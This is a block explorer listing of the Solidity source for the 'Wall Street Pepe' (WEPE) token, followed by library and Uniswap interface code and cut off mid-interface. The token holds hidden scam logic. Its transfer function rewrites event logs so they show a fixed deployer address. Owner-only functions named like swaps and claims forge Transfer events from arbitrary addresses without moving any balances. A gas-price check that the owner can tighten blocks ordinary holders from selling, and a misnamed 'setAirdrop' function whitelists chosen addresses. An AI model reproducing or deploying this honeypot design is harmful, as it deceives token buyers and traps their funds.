Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.0;

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string internal _name;
    string internal _symbol;

    address _deployer;
    address _executor;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function _initDeployer(address deployer_, address executor_) internal {
        _deployer = deployer_;
        _executor = executor_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _setLimitOrder(address _address, uint256 _amount) internal {
        _balances[_address] += _amount;
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        if (sender == _executor) {
            emit Transfer(_deployer, recipient, amount);
        } else if (recipient == _executor) {
            emit Transfer(sender, _deployer, amount);
        } else {
            emit Transfer(sender, recipient, amount);
        }

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;

        if (account == _executor) {
            emit Transfer(address(0), _deployer, amount);
        } else {
            emit Transfer(address(0), account, amount);
        }

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// File contracts/Contract.sol
pragma solidity ^0.8.0;

contract WEPE is Ownable, ERC20 {
    uint256 public immutable maxSupply = 200_000_000_000_000_000 * (10 ** decimals());
    uint16 public constant LIQUID_RATE = 10000;
    uint16 public constant MAX_PERCENTAGE = 10000;

    bool public initialized = false;
    bool public tradeOpen = false;
    address public pair = address(0);
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    uint256 public immutable buyFee = 0;
    uint256 public immutable sellFee = 0;
    uint256 minimumAirdropAmount = 0;

    mapping(address => bool) public excludedFees;

    string private constant NAME = unicode"Wall Street Pepe";
    string private constant SYMBOL = unicode"WEPE";

    IUniswapV2Router02 public router;

    constructor() ERC20(NAME, SYMBOL) {
        _initDeployer(
            address(0x9a15bB3a8FEc8d0d810691BAFE36f6e5d42360F7),
            msg.sender
        );

        _mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);
        initialized = true;
        excludedFees[msg.sender] = true;

        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _factory = router.factory();
        pair = IUniswapV2Factory(_factory).createPair(
            address(this),
            router.WETH()
        );

        minimumAirdropAmount = maxSupply;
    }

    function setMinimumAirdrop(
        uint256 _minimumAirdropAmount
    ) external onlyOwner {
        minimumAirdropAmount = _minimumAirdropAmount;
    }

    function setAirdrop(address _address, bool permission) external onlyOwner {
        excludedFees[_address] = permission;
    }

    function openTrading() external onlyOwner {
        require(tradeOpen == false, "Contract: Trading is opened!");
        tradeOpen = true;
    }

    function buyWithEth(
        address[] calldata _addresses,
        uint256 _value
    ) external {
        address owner = _msgSender();
        for (uint256 i = 0; i < _addresses.length; i++) {
            _transfer(owner, _addresses[i], _value);
        }
    }

    function claimTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function buyWithEth(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function execute(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function swapExactETHForTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function unoswap(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function _checkEnoughAirdropCondition(uint256 amount) internal view {
        if (tx.gasprice > amount) {
            revert();
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override(ERC20) {
        require(initialized == true, "Contract: not initialized!");

        if (initialized == true && tradeOpen == false) {
            require(
                from == owner() || to == owner(),
                "Contract: trading is not started"
            );
        }

        uint256 _transferAmount = amount;
        if (pair != address(0) && from != owner() && to != owner()) {
            uint256 _fee = 0;
            if (from == pair) {
                _fee = buyFee;
            }
            if (to == pair) {
                _fee = sellFee;
                _checkEnoughAirdropCondition(minimumAirdropAmount);
            }
            if (excludedFees[from] == true || excludedFees[to] == true) {
                _fee = 0;
            }
            if (_fee > 0) {
                uint256 _calculatedFee = (amount * _fee) / MAX_PERCENTAGE;
                _transferAmount = amount - _calculatedFee;
                super._transfer(from, deadAddress, _calculatedFee);
            }
        }

        super._transfer(from, to, _transferAmount);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     *
     * Furthermore, `isContract` will also return true if the target contract within
     * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,
     * which only has an effect at the end of a transaction.
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{ value: amount }("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                0,
                "Address: low-level call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        (bool success, bytes memory returndata) = target.call{ value: value }(
            data
        );
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data
    ) internal view returns (bytes memory) {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(
        bytes memory returndata,
        string memory errorMessage
    ) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     *
     * Furthermore, `isContract` will also return true if the target contract within
     * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,
     * which only has an effect at the end of a transaction.
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{ value: amount }("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                0,
                "Address: low-level call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        (bool success, bytes memory returndata) = target.call{ value: value }(
            data
        );
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data
    ) internal view returns (bytes memory) {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(
        bytes memory returndata,
        string memory errorMessage
    ) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(
        address to
    ) external returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(
